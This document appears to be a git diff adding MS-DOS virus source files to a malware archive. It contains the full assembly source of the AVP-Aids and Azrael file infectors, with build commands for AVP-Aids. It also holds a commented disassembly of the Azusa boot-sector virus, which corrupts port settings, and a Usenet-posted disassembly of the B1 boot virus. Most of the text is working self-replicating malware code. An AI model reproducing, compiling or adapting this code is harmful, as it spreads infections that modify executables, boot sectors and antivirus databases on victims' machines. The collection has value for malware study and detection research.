+; Now we link (Alt-L) an external routine. Choose AVP_DEC.OBJ and accept +; the register. +; +; Because the second OBJ file makes a call to a procedure of the first +; one, we will need AVP to load in memory the database we just created. +; For this we must save this base and add it to the active ones by pres- +; sing F4. Once we have done this, we must edit again AVP_AIDS.AVB and +; add a jmp register. Now link AVP_JMP.OBJ as an external routine, and +; if everything is right we'll be able to save and exit. +; +; After doing all this, we must compile the virus itself: for doing it, +; we must modify the database length equ (length_aids) with the correct +; value and follow the next steps: +; +; tasm /m avp_aids.asm +; tlink avp_aids.obj +; exe2bin avp_aids.exe avp_aids.com +; copy /b 6nops.com+avp_aids.avb+avp_aids.com avp-aids.com +; +; As *all_this* is quite hard to do, Mister Sandman has included a fully +; compiled second generation of this virus in \FILES :) +; +; ──── File: AVP_AIDS.ASM ────────────────────────────────────────────── +; +; Name: AVP-Aids +; Author: Tcp / 29A +; When: 6-April-96 : 1st implementation +; November-96: Now doesn't hang AVP 2.2x +; +; Where: Spain +; Comments: A simple and lame virus to demostrate the +; AVPRO API capabilities... to make virii... ;) +; Also fools TBAV... (except this first generation) + + +LENGTH_AIDS equ 590 ; Place here the length of your base + +avp_aids segment byte public +assume cs:avp_aids, ds:avp_aids, ss:avp_aids +org 0 + +start: + call get_delta +next: + +avp_set db 'AVp.SeT',0 +base db 'KRN386.AVB',13,10 +f_base db 'kRn386.aVb',0 +f_mask db '*.cOm',0 +_format db 'c:\DoS\fORmaT.cOM',0 + +six db 0cdh,20h,?,?,?,? ; Original bytes +jmp_vir db 'PK' ; Fools TBScan + pop bx ; Fix ('PK'= push ax, dec bx) + db 0e9h ; jmp +ofs_vir dw ? + + db '[AVP-Aids, Tcp / 29A]' + +get_delta: + mov di,100h + pop bp + push di + sub bp,offset(next) ; Get delta-offset + mov di,100h + push di + lea si,[bp+six] + movsw + movsw + movsw ; Restore infected file + mov ah,2fh + int 21h ; Get DTA + push es + push bx + lea dx,[bp+offset(dta)] + mov ah,1ah + int 21h ; Set DTA + mov ah,4eh + xor cx,cx + lea dx,[bp+f_mask] + int 21h ; Find-first *.com + jc check_for_format + lea dx,[bp+offset(dta)+1eh] + call infect_file +check_for_format: + lea dx,[bp+offset(_format)] ; Try to infect c:\dos\format.com + call infect_file + + mov ax,3d00h ; Search for avp.set + lea dx,[bp+avp_set] + int 21h + jc exec_host + xchg ax,bx + mov ah,3fh + lea dx,[bp+dta] + mov cx,666h ;-) + int 21h + push ax ; length(AVP.SET) + mov ah,3eh + int 21h ; Close file + mov ah,3ch + xor cx,cx + lea dx,[bp+f_base] + int 21h ; Create krn386.avb (viral database) + xchg ax,bx + mov ah,40h + push ax + lea dx,[bp+base] + mov cx,offset(f_base)-offset(base) + int 21h ; Write base name in file + pop ax + lea dx,[bp+dta] + pop cx + int 21h ; Write rest of AVP.SET + mov ah,3eh + int 21h + mov ah,41h + lea dx,[bp+avp_set] + int 21h ; Delete AVP.SET + mov ah,56h + mov di,dx + lea dx,[bp+f_base] + int 21h ; Rename krn386.avb to AVP.SET + mov ah,3ch + xor cx,cx + int 21h ; Reset krn386.avb + xchg ax,bx + mov ah,40h + lea dx,[bp+aids_base] + mov cx,LENGTH_AIDS + int 21h ; Write the AVP-AIDS base + mov ah,3eh + int 21h +exec_host: + pop dx + pop ds + mov ah,1ah + int 21h ; Restore DTA + push cs + push cs + pop ds + pop es + ret + +infect_file: + mov ax,3d02h + int 21h ; Open + jc no_file + xchg ax,bx + mov ah,3fh + mov cx,6 + lea dx,[bp+offset(six)] + int 21h ; Read 6 bytes + cmp ax,cx ; File >6 bytes? + jne close_file ; No? ten jmp + cmp word ptr [bp+six],'ZM' ; EXE file but .com extension? + je close_file ; Yes? then jmp + cmp word ptr [bp+six],'KP' ; Already infected? + je close_file ; Yes? then jmp + mov ax,4202h + cwd + xor cx,cx + int 21h ; Go end + mov ah,40h + mov dx,bp + mov cx,offset(vir_end) + int 21h ; Write virus + mov ax,4200h + cwd + xor cx,cx + int 21h ; Go start + mov ax,[bp+offset(dta)+1ah] ; File size + sub ax,6 + mov [bp+ofs_vir],ax + mov ah,40h + lea dx,[bp+jmp_vir] + mov cx,6 + int 21h ; Write jump to virus + mov ax,5701h + mov cx,[bp+offset(dta)+16h] ; Time + mov dx,[bp+offset(dta)+18h] ; Date + int 21h ; Set time/date to original +close_file: + mov ah,3eh + int 21h ; Close file +no_file: + ret + +aids_base db LENGTH_AIDS dup(?) + +vir_end: + +dta: + +avp_aids ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.azrael.asm b/MSDOS/Virus.MSDOS.Unknown.azrael.asm new file mode 100644 index 00000000..b2e1e5f1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.azrael.asm @@ -0,0 +1,275 @@ +start: +call delta +delta: +pop bp +sub bp,offset delta + +mov ax,0faceh +push ax +pop ax +cli +dec sp +dec sp +sti +pop bx +cmp bx,ax +je its_ok + +mov ax,4c00h +int 21h + +its_ok: +mov word ptr[bp+saved_ds],ds + +push cs +push cs +pop ds +pop es + +lea si,[bp+old_ip] +lea di,[bp+original_ip] +mov cx,4 +rep movsw + +mov ah,1ah +lea dx,[bp+ende] +int 21h + +mov ah,4eh +lea dx,[bp+file_spec] +mov cx,7 +find_next: +int 21h +jc before_restore + +mov ax,4300h +lea dx,[bp+ende+1eh] +int 21h + +mov word ptr[bp+attribs],cx + +mov ax,4301h +xor cx,cx +lea dx,[bp+ende+1eh] +int 21h + +lea dx,[bp+ende+1eh] +call open + +mov bx,ax + +mov ax,5700h +int 21h +mov word ptr[bp+time],cx +mov word ptr[bp+date],dx + +mov cx,1ah +lea dx,[bp+exe_header] +call read + +cmp word ptr [bp+exe_header],'ZM' +je check_infected +cmp word ptr [bp+exe_header],'MZ' +je check_infected +jmp close + +check_infected: +cmp word ptr [bp+exe_header+12h],'V' +je close + +call save_exe_header + +mov al,02 +call seek + +mov word ptr[bp+file_size_ax],ax +mov word ptr[bp+file_size_dx],dx + +call calculate_new_cs_ip + +mov ax,word ptr[bp+file_size_ax] +mov dx,word ptr[bp+file_size_dx] + +call calculate_new_size + +push byte ptr [bp+counter] +mov byte ptr[bp+counter],0 + +jmp goon + +before_restore: +jmp restore + +goon: +mov cx,ende-start +lea dx,[bp+start] +call write + +pop byte ptr [bp+counter] + +mov al,0 +call seek + +mov cx,1ah +lea dx,[bp+exe_header] +call write + +inc byte ptr[bp+counter] + + + +close: + +mov ax,5701h +mov cx,word ptr[bp+time] +mov dx,word ptr[bp+date] +int 21h + +mov ah,3eh +int 21h + +mov ax,4301h +lea dx,[bp+ende+1eh] +mov cx,word ptr[bp+attribs] +int 21h + + +cmp byte ptr[bp+counter],3 +je restore + + +mov ah,4fh +jmp find_next + + + +restore: + +mov ax,word ptr[bp+saved_ds] +mov ds,ax + +mov ah,1ah +mov dx,80h +int 21h + +push ds +pop es + + mov ax,es + add ax,10h ;add ajustment for PSP + + add word ptr cs:[original_CS+bp],ax ;Adjust old CS by + ;current seg + cli + add ax,word ptr cs:[bp+original_SS] ;Adjust old SS + mov ss,ax ;Restore stack to + mov sp,word ptr cs:[bp+original_SP] ;original position + sti + + +db 0eah +original_ip dw ? +original_cs dw ? +original_sp dw ? +original_ss dw ? + + ;*****************; + ; SUB - FUNCTIONS ; + ;*****************; +save_exe_header: +push word ptr[bp+exe_header+0eh] +pop word ptr[bp+old_ss] +push word ptr[bp+exe_header+10h] +pop word ptr[bp+old_sp] +push word ptr[bp+exe_header+14h] +pop word ptr[bp+old_ip] +push word ptr[bp+exe_header+16h] +pop word ptr[bp+old_cs] +ret + +calculate_new_cs_ip: + mov ax,word ptr [exe_header+bp+8] ;Get header length + mov cl,4 ;and convert it to + shl ax,cl ;bytes. + mov cx,ax + mov ax,word ptr[bp+file_size_ax] + + sub ax,cx ;Subtract header + sbb dx,0 ;size from file + ;size for memory + ;adjustments + + mov cl,0ch ;Convert DX into + shl dx,cl ;segment Address + mov cl,4 + push ax ;Change offset (AX) into + shr ax,cl ;segment, except for last + add dx,ax ;digit. Add to DX and + shl ax,cl ;save DX as new CS, put + pop cx ;left over into CX and + sub cx,ax ;store as the new IP. + mov word ptr [exe_header+bp+14h],cx + mov word ptr [exe_header+bp+16h],dx ;Set new CS:IP + mov word ptr [exe_header+bp+0eh],dx ;Set new SS = CS + mov word ptr [exe_header+bp+10h],0fffe ;Set new SP + mov byte ptr [exe_header+bp+12h],'V' ;mark infection +ret + +calculate_new_size: + add ax,ende-start ;Add virus size to DX:AX + adc dx,0 + + mov cl,7 + shl dx,cl ;convert DX to pages + mov cl,9 + shr ax,cl + add ax,dx + inc ax + mov word ptr [exe_header+bp+04],ax ;save # of pages + + mov ax,word ptr[bp+file_size_ax] + + mov dx,ax + shr ax,cl ;Calc remainder + shl ax,cl ;in last page + sub dx,ax + mov word ptr [exe_header+bp+02],dx ;save remainder +ret + +seek: +mov ah,42h +xor cx,cx +xor dx,dx +int 21h +ret + +read: +mov ah,3fh +int 21h +ret + +write: +mov ah,40h +int 21h +ret + +open: +mov ax,3d02h +int 21h +ret + +saved_ds dw ? +exe_header db 1ah dup(?) +old_ip dw 0 +old_cs dw 0fff0h +old_sp dw 0 +old_ss dw 0fff0h +file_spec db '*.exe',0 +file_size_ax dw ? +file_size_dx dw ? +attribs dw ? +time dw ? +date dw ? +counter db 0 +copyright db 'AZRAEL / Copyright by Spo0ky / Austria 1997',0 +ende: diff --git a/MSDOS/Virus.MSDOS.Unknown.azusa.asm b/MSDOS/Virus.MSDOS.Unknown.azusa.asm new file mode 100644 index 00000000..67833b40 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.azusa.asm @@ -0,0 +1,284 @@ + +; AZUSA virus +; +; Discovered an commented by Ferenc Leitold +; Hungarian VirusBuster Team +; Address: 1399 Budapest +; P.O. box 701/349 +; HUNGARY + + + +217D:0100 E98B00 JMP 018E ; Jump to main entry point +217D:0103 50 PUSH AX +217D:0104 43 INC BX +217D:0105 20546F AND [SI+6F],DL +217D:0108 6F OUTSW +217D:0109 6C INSB +217D:010A 73 + + ; INT13 entry point +217D:010B F6C402 TEST AH,02 +217D:010E 745B JZ 016B +217D:0110 F6C280 TEST DL,80 +217D:0113 7556 JNZ 016B ; Jump, if hard disk +217D:0115 50 PUSH AX +217D:0116 1E PUSH DS +217D:0117 31C0 XOR AX,AX +217D:0119 8ED8 MOV DS,AX +217D:011B 88D0 MOV AL,DL +217D:011D FEC0 INC AL +217D:011F 84063F04 TEST [043F],AL ; test diskette is work +217D:0123 7544 JNZ 0169 + +217D:0125 53 PUSH BX ; Save registers +217D:0126 51 PUSH CX +217D:0127 52 PUSH DX +217D:0128 06 PUSH ES +217D:0129 57 PUSH DI +217D:012A 56 PUSH SI + +217D:012B B80102 MOV AX,0201 ; Load boot sector of disk +217D:012E 0E PUSH CS +217D:012F 07 POP ES +217D:0130 BB0002 MOV BX,0200 +217D:0133 B90100 MOV CX,0001 +217D:0136 B600 MOV DH,00 +217D:0138 E83500 CALL 0170 +217D:013B 7226 JC 0163 ; jump, if error + +217D:013D 0E PUSH CS +217D:013E 1F POP DS +217D:013F A18902 MOV AX,[0289] ; Check if infected yet ? +217D:0142 3B068900 CMP AX,[0089] +217D:0146 741B JZ 0163 ; Jump, if infected + +217D:0148 B80103 MOV AX,0301 ; Write orig. boot sector +217D:014B B90827 MOV CX,2708 ; cyl.: 39 sect.: 8 +217D:014E B601 MOV DH,01 ; head: 1 +217D:0150 E81D00 CALL 0170 ; Call INT13 (write) +217D:0153 720E JC 0163 +217D:0155 E81F00 CALL 0177 ; Copy parameters +217D:0158 B80103 MOV AX,0301 ; Write virus body +217D:015B 31DB XOR BX,BX +217D:015D 41 INC CX ; CX will 1 (CALL 0177) +217D:015E B600 MOV DH,00 ; head: 0 +217D:0160 E80D00 CALL 0170 ; Call INT13 (write) + +217D:0163 5E POP SI ; Restore registers +217D:0164 5F POP DI +217D:0165 07 POP ES +217D:0166 5A POP DX +217D:0167 59 POP CX +217D:0168 5B POP BX + +217D:0169 1F POP DS +217D:016A 58 POP AX + +217D:016B EAEBA100F0 JMP F000:A1EB ; Jump to orig. INT13 + +217D:0170 9C PUSHF ; Call orig. INT13 +217D:0171 2EFF1E6C00 CALL Far CS:[006C] +217D:0176 C3 RET + +217D:0177 BE0302 MOV SI,0203 ; Copy diskette par. area +217D:017A BF0300 MOV DI,0003 +217D:017D B90800 MOV CX,0008 +217D:0180 FC CLD +217D:0181 F3A4 REP MOVSB + +217D:0183 BE7003 MOV SI,0370 ; Copy parttition info. +217D:0186 BF7001 MOV DI,0170 +217D:0189 B190 MOV CL,90 +217D:018B F3A4 REP MOVSB +217D:018D C3 RET + + +;*************************** Main entry point ************************* + +217D:018E 31C0 XOR AX,AX ; Set STACK and DS +217D:0190 8ED8 MOV DS,AX +217D:0192 8ED0 MOV SS,AX +217D:0194 BC007C MOV SP,7C00 + +217D:0197 A14C00 MOV AX,[004C] ; Save INT13 vector +217D:019A A36C7C MOV [7C6C],AX +217D:019D A14E00 MOV AX,[004E] +217D:01A0 A36E7C MOV [7C6E],AX + +217D:01A3 A11304 MOV AX,[0413] ; Decrease memory by 1KB +217D:01A6 48 DEC AX +217D:01A7 A31304 MOV [0413],AX + +217D:01AA B106 MOV CL,06 ; Calculate segment at TOP +217D:01AC D3E0 SHL AX,CL +217D:01AE 8EC0 MOV ES,AX + +217D:01B0 C7064C000B00 MOV [004C],000B ; Set new INT13 vector +217D:01B6 A34E00 MOV [004E],AX + +217D:01B9 B90002 MOV CX,0200 ; Copy itself to TOP +217D:01BC BE007C MOV SI,7C00 +217D:01BF 31FF XOR DI,DI +217D:01C1 FC CLD +217D:01C2 F3A4 REP MOVSB + +217D:01C4 50 PUSH AX ; Jump to TOP +217D:01C5 B8CA00 MOV AX,00CA +217D:01C8 50 PUSH AX +217D:01C9 CB RET Far + + + TOP:01CA 31C0 XOR AX,AX ; Reset drive + TOP:01CC CD13 INT 13 + + TOP:01CE 31C0 XOR AX,AX + TOP:01D0 8EC0 MOV ES,AX + TOP:01D2 B80102 MOV AX,0201 + TOP:01D5 BB007C MOV BX,7C00 + TOP:01D8 0E PUSH CS + TOP:01D9 1F POP DS + TOP:01DA E83F00 CALL 021C ; Set CX & DX as the info + ; of boot partition + TOP:01DD F6C1FF TEST CL,FF ; Check if it is floppy + TOP:01E0 7408 JZ 01EA ; Jump, if it is + TOP:01E2 E85100 CALL 0236 + TOP:01E5 EA007C0000 JMP 0000:7C00 ; Jump to boot + + + ; If floppy disk + TOP:01EA B90827 MOV CX,2708 ; load original boot + TOP:01ED BA0001 MOV DX,0100 + TOP:01F0 CD13 INT 13 + TOP:01F2 72F1 JC 01E5 ; jump, if error + + TOP:01F4 0E PUSH CS + TOP:01F5 07 POP ES + + TOP:01F6 B80102 MOV AX,0201 ; Load partition table of + TOP:01F9 BB0002 MOV BX,0200 ; hard disk + TOP:01FC B90100 MOV CX,0001 + TOP:01FF BA8000 MOV DX,0080 + TOP:0202 CD13 INT 13 + TOP:0204 72DF JC 01E5 + + TOP:0206 A18902 MOV AX,[0289] ; Check, if infected yet ? + TOP:0209 39068900 CMP [0089],AX + TOP:020D 74D6 JZ 01E5 ; jump to boot, if it is + + TOP:020F E865FF CALL 0177 ; Copy parameter area + TOP:0212 B80103 MOV AX,0301 ; Save virus as part. table + TOP:0215 31DB XOR BX,BX + TOP:0217 41 INC CX + TOP:0218 CD13 INT 13 + TOP:021A EBC9 JMP 01E5 + + TOP:021C BEBE01 MOV SI,01BE ; Find boot partition + TOP:021F B90400 MOV CX,0004 ; in partition table + TOP:0222 803C80 CMP [SI],80 + TOP:0225 7407 JZ 022E + TOP:0227 83C610 ADD SI,0010 + TOP:022A E2F6 LOOP 0222 + TOP:022C EB07 JMP 0235 ; If not found set CL=FF + TOP:022E 8B4C02 MOV CX,[SI+02] ; If found, load it + TOP:0231 8B14 MOV DX,[SI] + TOP:0233 CD13 INT 13 + TOP:0235 C3 RET + + TOP:0236 F6066F01E0 TEST [016F],E0 ; Test counter + TOP:023B 7515 JNZ 0252 + TOP:023D 80066F0101 ADD [016F],01 ; increase counter + TOP:0242 B80103 MOV AX,0301 ; save virus body + TOP:0245 0E PUSH CS ; with increased counter + TOP:0246 07 POP ES + TOP:0247 31DB XOR BX,BX + TOP:0249 B90100 MOV CX,0001 + TOP:024C B600 MOV DH,00 + TOP:024E CD13 INT 13 + TOP:0250 EB0E JMP 0260 + + TOP:0252 31C0 XOR AX,AX + TOP:0254 8ED8 MOV DS,AX + TOP:0256 C606080400 MOV [0408],00 ; Corrupt LPT1 port + TOP:025B C606000400 MOV [0400],00 ; Coruupt COM1 port + TOP:0260 0E PUSH CS + TOP:0261 1F POP DS + TOP:0262 C6066F0100 MOV [016F],00 ; Reset counter (in memory) + TOP:0267 C6065A0100 MOV [015A],00 ; Zero LPT1 port corrupt par. + TOP:026C C3 RET + + TOP:026D 0000 ADD [BX+SI],AL + + TOP:026F 00 db 0 ; counter + + TOP:0270 000000 + TOP:0273 0000 ADD [BX+SI],AL + TOP:0275 0000 ADD [BX+SI],AL + TOP:0277 0000 ADD [BX+SI],AL + TOP:0279 0000 ADD [BX+SI],AL + TOP:027B 0000 ADD [BX+SI],AL + TOP:027D 0000 ADD [BX+SI],AL + TOP:027F 0000 ADD [BX+SI],AL + TOP:0281 0000 ADD [BX+SI],AL + TOP:0283 0000 ADD [BX+SI],AL + TOP:0285 0000 ADD [BX+SI],AL + TOP:0287 0000 ADD [BX+SI],AL + TOP:0289 0000 ADD [BX+SI],AL + TOP:028B 0000 ADD [BX+SI],AL + TOP:028D 0000 ADD [BX+SI],AL + TOP:028F 0000 ADD [BX+SI],AL + TOP:0291 0000 ADD [BX+SI],AL + TOP:0293 0000 ADD [BX+SI],AL + TOP:0295 0000 ADD [BX+SI],AL + TOP:0297 0000 ADD [BX+SI],AL + TOP:0299 0000 ADD [BX+SI],AL + TOP:029B 0000 ADD [BX+SI],AL + TOP:029D 0000 ADD [BX+SI],AL + TOP:029F 0000 ADD [BX+SI],AL + TOP:02A1 0000 ADD [BX+SI],AL + TOP:02A3 0000 ADD [BX+SI],AL + TOP:02A5 0000 ADD [BX+SI],AL + TOP:02A7 0000 ADD [BX+SI],AL + TOP:02A9 0000 ADD [BX+SI],AL + TOP:02AB 0000 ADD [BX+SI],AL + TOP:02AD 0000 ADD [BX+SI],AL + TOP:02AF 0000 ADD [BX+SI],AL + TOP:02B1 0000 ADD [BX+SI],AL + TOP:02B3 0000 ADD [BX+SI],AL + TOP:02B5 0000 ADD [BX+SI],AL + TOP:02B7 0000 ADD [BX+SI],AL + TOP:02B9 0000 ADD [BX+SI],AL + TOP:02BB 0000 ADD [BX+SI],AL + TOP:02BD 0000 ADD [BX+SI],AL + TOP:02BF 0000 ADD [BX+SI],AL + TOP:02C1 0000 ADD [BX+SI],AL + TOP:02C3 0000 ADD [BX+SI],AL + TOP:02C5 0000 ADD [BX+SI],AL + TOP:02C7 0000 ADD [BX+SI],AL + TOP:02C9 0000 ADD [BX+SI],AL + TOP:02CB 0000 ADD [BX+SI],AL + TOP:02CD 0000 ADD [BX+SI],AL + TOP:02CF 0000 ADD [BX+SI],AL + TOP:02D1 0000 ADD [BX+SI],AL + TOP:02D3 0000 ADD [BX+SI],AL + TOP:02D5 0000 ADD [BX+SI],AL + TOP:02D7 0000 ADD [BX+SI],AL + TOP:02D9 0000 ADD [BX+SI],AL + TOP:02DB 0000 ADD [BX+SI],AL + TOP:02DD 0000 ADD [BX+SI],AL + TOP:02DF 0000 ADD [BX+SI],AL + TOP:02E1 0000 ADD [BX+SI],AL + TOP:02E3 0000 ADD [BX+SI],AL + TOP:02E5 0000 ADD [BX+SI],AL + TOP:02E7 0000 ADD [BX+SI],AL + TOP:02E9 0000 ADD [BX+SI],AL + TOP:02EB 0000 ADD [BX+SI],AL + TOP:02ED 0000 ADD [BX+SI],AL + TOP:02EF 0000 ADD [BX+SI],AL + TOP:02F1 0000 ADD [BX+SI],AL + TOP:02F3 0000 ADD [BX+SI],AL + TOP:02F5 0000 ADD [BX+SI],AL + TOP:02F7 0000 ADD [BX+SI],AL + TOP:02F9 0000 ADD [BX+SI],AL + TOP:02FB 0000 ADD [BX+SI],AL + TOP:02FD 0055AA ADD [DI-56],DL diff --git a/MSDOS/Virus.MSDOS.Unknown.b1.asm b/MSDOS/Virus.MSDOS.Unknown.b1.asm new file mode 100644 index 00000000..de2a1446 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.b1.asm @@ -0,0 +1,362 @@ +From smtp Tue Feb 7 13:16 EST 1995 +Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:16 EST +Received: by lynx.dac.neu.edu (8.6.9/8.6.9) + id NAA01723 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:19:13 -0500 +Date: Tue, 7 Feb 1995 13:19:13 -0500 +From: lynx.dac.neu.edu!ekilby (Eric Kilby) +Content-Length: 10347 +Content-Type: binary +Message-Id: <199502071819.NAA01723@lynx.dac.neu.edu> +To: pobox.jwu.edu!joshuaw +Subject: (fwd) B1 +Newsgroups: alt.comp.virus +Status: O + +Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm +From: danishm@iia.org () +Newsgroups: alt.comp.virus +Subject: B1 +Date: 5 Feb 1995 22:05:37 GMT +Organization: International Internet Association. +Lines: 330 +Message-ID: <3h3i3h$v4@ankh.iia.org> +NNTP-Posting-Host: iia.org +X-Newsreader: TIN [version 1.2 PL2] + +Here is the B1 virus: + + +PAGE 59,132 +; Disassembled using sourcer +;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ +;[[ [[ +;[[ B1 [[ +;[[ [[ +;[[ Created: 8-Jan-95 [[ +;[[ Version: [[ +;[[ Code type: zero start [[ +;[[ Passes: 5 Analysis Options on: none [[ +;[[ [[ +;[[ [[ +;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ + +data_1e equ 413h ; (0000:0413=7Fh) +data_2e equ 46Dh ; (0000:046D=17E1h) +data_3e equ 4Ch ; (0006:004C=0DAh) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 0 + +virus proc far + +start: + jmp short loc_2 ; (0040) + db 90h, 00h, 4Dh, 4Dh, 49h, 00h + db 33h, 2Eh, 33h, 00h, 02h, 01h + db 01h, 00h, 02h,0E0h, 00h, 40h + db 0Bh,0F0h, 09h, 00h, 12h, 00h + db 02h, 00h + db 19 dup (0) + db 12h, 00h, 00h, 00h, 00h, 01h + db 00h,0FAh, 33h,0C0h, 8Eh,0D0h + db 0BCh, 00h, 7Ch, 16h, 07h +loc_2: + push cs + call sub_1 ; (00EF) + push ax + shr ax,1 ; Shift w/zeros fill + dec ah + jz loc_3 ; Jump if zero + jmp loc_14 ; (01BA) +loc_3: + push bx + push cx + push dx + push es + push si + push di + push ds + push bp + mov bp,sp + or ch,ch ; Zero ? + jnz loc_5 ; Jump if not zero + shl al,1 ; Shift w/zeros fill + jc loc_4 ; Jump if carry Set + call sub_6 ; (0190) + call sub_4 ; (017B) + jc loc_7 ; Jump if carry Set + call sub_2 ; (0127) + jz loc_4 ; Jump if zero + call sub_6 ; (0190) + call sub_3 ; (013B) + jz loc_5 ; Jump if zero + inc ah + call sub_4 ; (017B) + jc loc_5 ; Jump if carry Set + call sub_5 ; (0182) + call sub_6 ; (0190) + inc ah + call sub_4 ; (017B) +loc_4: + call sub_7 ; (019E) + or ch,dh + dec cx + jnz loc_5 ; Jump if not zero + call sub_6 ; (0190) + call sub_4 ; (017B) + jc loc_7 ; Jump if carry Set + call sub_2 ; (0127) + jnz loc_5 ; Jump if not zero + call sub_7 ; (019E) + call sub_3 ; (013B) + dec byte ptr [bp+10h] + jz loc_6 ; Jump if zero + mov al,1 + call sub_4 ; (017B) + jc loc_7 ; Jump if carry Set + call sub_7 ; (019E) + add bx,di + inc cl + jmp short loc_6 ; (00BA) +loc_5: + call sub_7 ; (019E) +loc_6: + call sub_4 ; (017B) +loc_7: + pushf ; Push flags + pop bx + mov [bp+16h],bx + xchg ax,[bp+10h] + shr ah,1 ; Shift w/zeros fill + jnc loc_9 ; Jump if carry=0 + xor ax,ax ; Zero register + mov ds,ax + mov ax,ds:data_2e ; (0000:046D=17E1h) + and ax,178Fh + jnz loc_9 ; Jump if not zero + call sub_6 ; (0190) +loc_8: + push ax + call sub_4 ; (017B) + xor cx,0FFC0h + nop ;*ASM fixup - sign extn byte + shl ax,1 ; Shift w/zeros fill + pop ax + jnc loc_8 ; Jump if carry=0 +loc_9: + pop bp + pop ds + pop di + pop si + pop es + pop dx + pop cx + pop bx + pop ax + iret ; Interrupt return + +virus endp + +;__________________________________________________________________________ +; SUBROUTINE +;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + +sub_1 proc near + mov bx,44h + mov dx,80h + mov si,data_1e ; (0000:0413=7Fh) + xor di,di ; Zero register + mov ds,di + dec word ptr [si] + lodsw ; String [si] to ax + pop si + mov cl,6 + shl ax,cl ; Shift w/zeros fill + mov es,ax + sub si,bx + push si + push ax + mov ax,1AEh + push ax + push cs + push si + push cs + pop ds + call sub_5 ; (0182) + mov ds,cx + mov si,data_3e ; (0006:004C=0DAh) + mov cl,2 + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + mov [si-4],bx + mov [si-2],es + pop bx + pop es + retf ; Return far +sub_1 endp + + +;__________________________________________________________________________ +; SUBROUTINE +;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + +sub_2 proc near + cld ; Clear direction + push cs + pop ds + xor si,si ; Zero register + mov di,bx + mov cl,40h ; '@' + push si + push di + add si,cx + add di,cx + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + pop di + pop si + retn +sub_2 endp + + +;__________________________________________________________________________ +; SUBROUTINE +;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + +sub_3 proc near + push ax + xor dh,dh ; Zero register + test dl,80h + jz loc_10 ; Jump if zero + mov cx,11h + jmp short loc_11 ; (0175) +loc_10: + mov ax,[di+11h] + mov cl,4 + shr ax,cl ; Shift w/zeros fill + mov cx,ax + mov ax,[di+16h] + shl ax,1 ; Shift w/zeros fill + jc loc_12 ; Jump if carry Set + add ax,cx + jc loc_12 ; Jump if carry Set + xor cx,cx ; Zero register + cmp ah,[di+18h] + jae loc_12 ; Jump if above or = + div byte ptr [di+18h] ; al,ah rem = ax/data + xchg cl,ah + cmp ah,[di+1Ah] + jae loc_12 ; Jump if above or = + div byte ptr [di+1Ah] ; al,ah rem = ax/data + mov ch,al + mov dh,ah + inc cx +loc_11: + pop ax + retn +loc_12: + xor cx,cx ; Zero register + jmp short loc_11 ; (0175) +sub_3 endp + + +;__________________________________________________________________________ +; SUBROUTINE +;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + +sub_4 proc near + pushf ; Push flags + call dword ptr cs:[1BCh] ; (7379:01BC=0D79h) + retn +sub_4 endp + + +;__________________________________________________________________________ +; SUBROUTINE +;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + +sub_5 proc near + cld ; Clear direction + movsw ; Mov [si] to es:[di] + mov cx,17Ch + add si,3Eh + add di,3Eh + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + retn +sub_5 endp + + +;__________________________________________________________________________ +; SUBROUTINE +;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + +sub_6 proc near + push cs + mov ax,200h + mov bx,ax + xor cx,cx ; Zero register + xor dh,dh ; Zero register + inc cx + inc ax + pop es + retn +sub_6 endp + + +;__________________________________________________________________________ +; SUBROUTINE +;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + +sub_7 proc near + mov ax,[bp+10h] + mov bx,[bp+0Eh] + mov cx,[bp+0Ch] + mov dx,[bp+0Ah] + mov es,[bp+8] + retn +sub_7 endp + + db 41h ; Inc cx ? +loc_13: + mov ax,201h + int 13h ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + xor dl,80h + jz loc_13 ; Jump if zero + retf ; Return far +loc_14: + pop ax +;* jmp far ptr loc_1 ;*(000A:0D79) + db 0EAh, 79h, 0Dh, 0Ah, 00h + db 0Dh, 0Ah, 'Disk Boot failure', 0Dh + db 0Ah, 0 + db 'IBMBIO COMIBMDOS COM' + db 18 dup (0) + db 55h,0AAh + +seg_a ends + + + + end start + +ls virus.asm + + + +ls virus.asm + + + + + + + + +-- +Eric "Mad Dog" Kilby maddog@ccs.neu.edu +The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu +Student at the Northeatstern University College of Computer Science +"I Can't Believe It's Not Butter" + diff --git a/MSDOS/Virus.MSDOS.Unknown.babybug.asm b/MSDOS/Virus.MSDOS.Unknown.babybug.asm new file mode 100644 index 00000000..876c2309 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.babybug.asm @@ -0,0 +1,305 @@ 